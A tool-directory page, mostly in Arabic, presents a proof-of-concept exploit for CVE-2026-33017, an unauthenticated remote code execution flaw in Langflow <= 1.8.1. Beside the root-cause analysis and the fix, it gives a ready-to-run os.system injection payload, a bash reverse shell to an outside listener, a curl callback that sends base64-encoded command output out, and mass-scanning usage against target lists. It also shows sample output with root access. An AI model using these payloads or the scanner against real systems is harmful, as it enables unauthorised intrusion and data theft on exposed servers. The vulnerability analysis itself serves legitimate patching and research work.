Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - تنفيذ كود عن بُعد بدون مصادقة في Langflow <= 1.8.1 عبر Public Flow Build Endpoint | Kitploit
أدوات/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليم
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - تنفيذ كود عن بُعد بدون مصادقة في Langflow <= 1.8.1 عبر Public Flow Build Endpoint

عرض المستودع
1042منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 — Langflow RCE بدون مصادقة (PoC)

CVE CVSS Affected Language

لأغراض تعليمية واختبارية مصرح بها فقط.

ملخص

يعرض Langflow <= 1.8.1 نقطة نهاية عامة لبناء التدفقات تقبل بيانات تدفق يتحكم بها المهاجم وتحتوي على كود عشوائي. يُمرَّر هذا الكود إلى الدالة prepare_global_scope() في validate.py، والتي تستدعي exec() دون أي عزل، مما يؤدي إلى تنفيذ كود عن بُعد بدون مصادقة بصلاحيات عملية الخادم.

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • الخطورة: حرجة — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • الإصدار المُصحَّح: 1.9.0
  • الإصدارات المتأثرة

    الحزمةالمتأثرالمُصحَّح
    pip langflow<= 1.8.11.9.0

    تفاصيل الثغرة

    السبب الجذري

    نقطة النهاية build_public_tmp غير مُصادَق عليها عمدًا — فهي مصممة للسماح لأي شخص بتنفيذ تدفق عام مخزّن. الخلل هو أنها تقبل أيضًا معاملًا اختياريًا باسم data يحتوي على تعريفات تدفق يتحكم بها المهاجم. وبالتالي يمكن لمستخدم غير مصادَق عليه إرسال كود عقدة تعسفي يتعامل معه الخادم كرسم بياني تدفق شرعي ويمرره مباشرة إلى إجراءات تنفيذ الكود دون أي تحقق.

    الإصلاح مباشر: إزالة المعامل data وإجبار نقطة النهاية على استدعاء build_graph_from_db() حصريًا، بحيث تنفّذ التدفقات العامة البيانات المخزنة فقط، ولا تنفّذ أبدًا كودًا مقدَّمًا من المهاجم.

    سلسلة التنفيذ

    تنتقل حمولة المهاجم عبر سلسلة الاستدعاءات التالية قبل الوصول إلى التنفيذ:

    الخطوةالملفالتفصيل
    1chat.py:580يستقبل build_public_tmp بيانات المهاجم في نص الطلب
    2build.py:81يمرر start_flow_build() الحمولة غير الموثوقة
    3build.py:298يمررها build_graph_from_data() إلى بناء الرسم البياني
    4base.py:1168يفك Graph.from_payload() تسلسل تعريفات العقد المقدمة من المهاجم
    5base.py:1323تُستدعى instantiate_component() لكل عقدة
    6loading.py:43يُستخرج حقل code من معاملات المكوّن المخصص
    7eval.py:9تتلقى create_class() كود المهاجم الخام
    8validate.py:397exec(compiled_code, exec_globals) — دون أي عزل

    لماذا ينجح الحقن على مستوى الوحدة

    تعالج الدالة prepare_global_scope() في validate.py عقد ast.Assign أثناء تجميع الرسم البياني — قبل استدعاء أي طريقة تدفق. لذلك، يتم تنفيذ أي تعيين على المستوى الأعلى في الكود المُحقَن فورًا:

    root@kitploit:~
    _r = __import__('os').system("whoami")  # runs at compile time, not at flow run time
    

    يذهب الإخراج إلى stdout الخاص بالخادم، وليس إلى استجابة HTTP. يتطلب إخراج البيانات (Exfiltration) استدعاءً خارجيًا (reverse shell أو webhook عبر curl).

    نقطة النهاية القابلة للاستغلال

    نقطة النهايةالمصادقةناقل الهجوم
    POST /api/v1/build_public_tmp/{flow_id}/flowلا شيءعن بُعد، بدون مصادقة

    سيناريوهات الاستغلال

    السيناريوالمتطلب
    أ — تم تفعيل AUTO_LOGINAUTO_LOGIN=true: احصل على رمز JWT بشكل مجهول، أنشئ تدفقًا عامًا، ثم استغل الثغرة
    ب — تدفق عام معروفإذا كان UUID لتدفق عام/مشترك معروفًا: استغل الثغرة مباشرة، دون حاجة إلى مصادقة

    الاستخدام

    root@kitploit:~
    pip install requests
    python3 poc.py --url http://target:7860 --cmd "id"
    

    الخيارات

    العلامةالافتراضيالوصف
    --url—عنوان URL واحد لهدف Langflow
    --url-file—ملف نصي يحتوي على عنوان URL واحد لكل سطر (فحص جماعي)
    --cmdidأمر نظام التشغيل الذي سيتم تنفيذه على الهدف
    --flow-id—UUID لتدفق عام موجود (يتخطى إنشاء التدفق)
    --threads5عدد الخيوط المتوازية لوضع الفحص الجماعي
    --timeout15مهلة طلب HTTP بالثواني
    --no-cleanupfalseالإبقاء على التدفق المُنشأ بعد الاستغلال

    أمثلة

    مهم: يستخدم هذا الـ PoC دالة os.system() على مستوى الوحدة — يتم تنفيذ الأمر على الخادم، لكن إخراجه يذهب إلى stdout الخاص بالخادم وليس إلى استجابة HTTP. يكتفي الـ PoC بتأكيد حدوث التنفيذ ([+] VULNERABLE). لاستلام مخرجات الأمر فعليًا، استخدم إحدى طرق إخراج البيانات أدناه.

    تأكيد أعمى (يتحقق من RCE دون التقاط المخرجات)

    root@kitploit:~
    python3 poc.py --url http://target:7860 --cmd "id"
    

    قشرة عكسية (Reverse shell) — مع مستمع محلي

    root@kitploit:~
    # 1. Start a listener on your machine
    nc -lvnp 4444
    
    # 2. Send the reverse shell
    python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
    

    إخراج البيانات خارج النطاق (OOB) عبر استدعاء HTTP — مع خادم محلي

    root@kitploit:~
    # 1. Start a local HTTP server
    python3 -m http.server 8080
    
    # 2. Exfiltrate output via curl callback
    python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
    

    مع UUID لتدفق عام معروف (لا حاجة لإنشاء تدفق)

    root@kitploit:~
    python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
    

    فحص جماعي من ملف

    root@kitploit:~
    python3 poc.py --url-file targets.txt --cmd "id" --threads 10
    

    مثال على المخرجات

    يؤكد الـ PoC أن التنفيذ قد حدث. يعني [+] VULNERABLE أن البناء نجح وأن الكود المُحقَن تم تنفيذه — وهذا لا يعني أنه تم التقاط المخرجات.

    root@kitploit:~
    ============================================================
      CVE-2026-33017 — Langflow RCE PoC
    ============================================================
      Targets : 1
      Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
      Threads : 5  |  Timeout : 15s
    ============================================================
    
    [http://target:7860] auth: JWT token obtained
    [http://target:7860] flow: created (3f2a1b4c-...)
    [http://target:7860] [+] VULNERABLE — RCE executed
    [http://target:7860] flow: deleted (3f2a1b4c-...)
    
    ============================================================
      SUMMARY
    ============================================================
      [+] http://target:7860  VULNERABLE
    ============================================================
    
      1/1 target(s) vulnerable
    

    المخرجات المستلمة على خادم HTTP المحلي:

    root@kitploit:~
    10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
    # base64 -d → uid=0(root) gid=0(root) groups=0(root)
    

    المراجع

    • GHSA-vwmf-pq79-vjvx
    • CVE-2026-33017
    • مستودع Langflow
    • متعلق: CVE-2025-3248 — مشكلة exec() مشابهة في /api/v1/validate/code
    تنزيل الأداة